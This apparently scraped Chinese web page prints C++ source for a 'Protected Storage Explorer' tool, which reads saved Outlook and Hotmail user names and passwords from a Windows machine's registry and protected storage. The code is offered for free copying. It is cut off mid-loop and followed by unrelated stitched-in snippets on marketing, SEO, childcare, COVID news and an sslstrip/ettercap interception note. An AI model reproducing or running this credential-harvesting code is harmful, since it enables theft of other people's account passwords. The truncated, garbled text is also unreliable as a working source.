我们知道NT以后的系统中有一个这样的服务:Protected Storage。他是用来储存本地密码和网上服务密码的服务,包括填表时的“自动完成”功能以及OUTLOOK对应的账号信息。相应的我们就可以通过该服务来获取保存的账号信息。 源代码如下: /////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////// // // //Protected Storage Explorer // // By Hirosh // //www.hirosh.net // // // // // //No CopyRights- Feel Free to Cut & Paste // // // // // /////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include #include "resource.h" #import "pstorec.dll" no_namespace har SavingFname[MAX_PATH]; HWND hwndlistview; BOOL iS9x=FALSE; typedef struct TOOUTDATA{ char POPuser[100]; char POPpass[100]; char POPserver[100]; } OOUTDATA; OOUTDATA OutlookData[50]; int oIndex=0; void EnumOutlookAccounts() { ZeroMemory(OutlookData,sizeof(OutlookData)); HKEY hkeyresult ,hkeyresult1; long l,i; char name[200],skey[200]; DWORD dw2; FILETIME f; lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts"); LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, &hkeyresult1 ); if(ERROR_SUCCESS != lResult) return ; i=0;l=0; BYTE Data[150]; BYTE Data1[150]; DWORD size; int j; j=0; DWORD type=REG_BINARY; while(l!=ERROR_NO_MORE_ITEMS){ dw2=200; l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f); lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts"); lstrcat(skey,"\\"); lstrcat(skey,name); RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult ); size=sizeof(Data); if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name" , 0, &type, Data, &size ) ==ERROR_SUCCESS) { lstrcpy(OutlookData[oIndex].POPuser,(char *)Data); ZeroMemory(Data,sizeof(Data)); lstrcpy(OutlookData[oIndex].POPserver,"Hotmail"); size=sizeof(Data); if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS){ int totnopass=0; char mess[100]; for(int i=2;i
一、新手做微商注意事项: 1、选择一个品牌,花一段时间去了解这个品牌,了解这个这个公司、了解你所要选择的产品!因为只有自己了解了才可以更好的和顾客沟通和介绍!选择一个有控价、效果好、口碑好长线的...
编辑导语:产物筹划往往要从宏观角度去阐明,个中的步调很繁琐,细节也许多,稍不留意就会漏掉要点。本文作者以某产物为例,举办了深度阐明,从宏观角度先容了其成长筹划,为各人展示了产物筹划的总体流程。 本文...
1:新域名只要以前没被其他用户使用过,通常搜索引擎在3天内都会第一次收录。 2:百度给排名的网站是内部链接跟外部链接多的网站,建议最好使用百度统计器,个人认为会优先排名的 3:谷歌跟百度有很多相...
在日常生活中父母要操心宝宝有没有睡好觉甚至还要操心宝宝的睡觉姿势。错误的睡觉姿势只会让他们更受伤。对孩子的脊椎发育也会有影响。宝宝有这些行为就要及时纠正了。下面友谊长存小编就来和大家说一说。 这些睡...
Level 1 → Level 2原理:sslstrip+ettercap进行数据包的截获Webchat 325 -s strip comments and whitespaces绑架因特网等级的BG...
11月7日天津新增本地确诊病例1例,患者为天津海联冷冻食品有限公司装卸工人,而涉疫情的货物已经流向3个地区。9日滨海新区汉沽街、中心渔港冷链物流区A区和B区划定为中风险地区。天津目前已经进入战时状态,...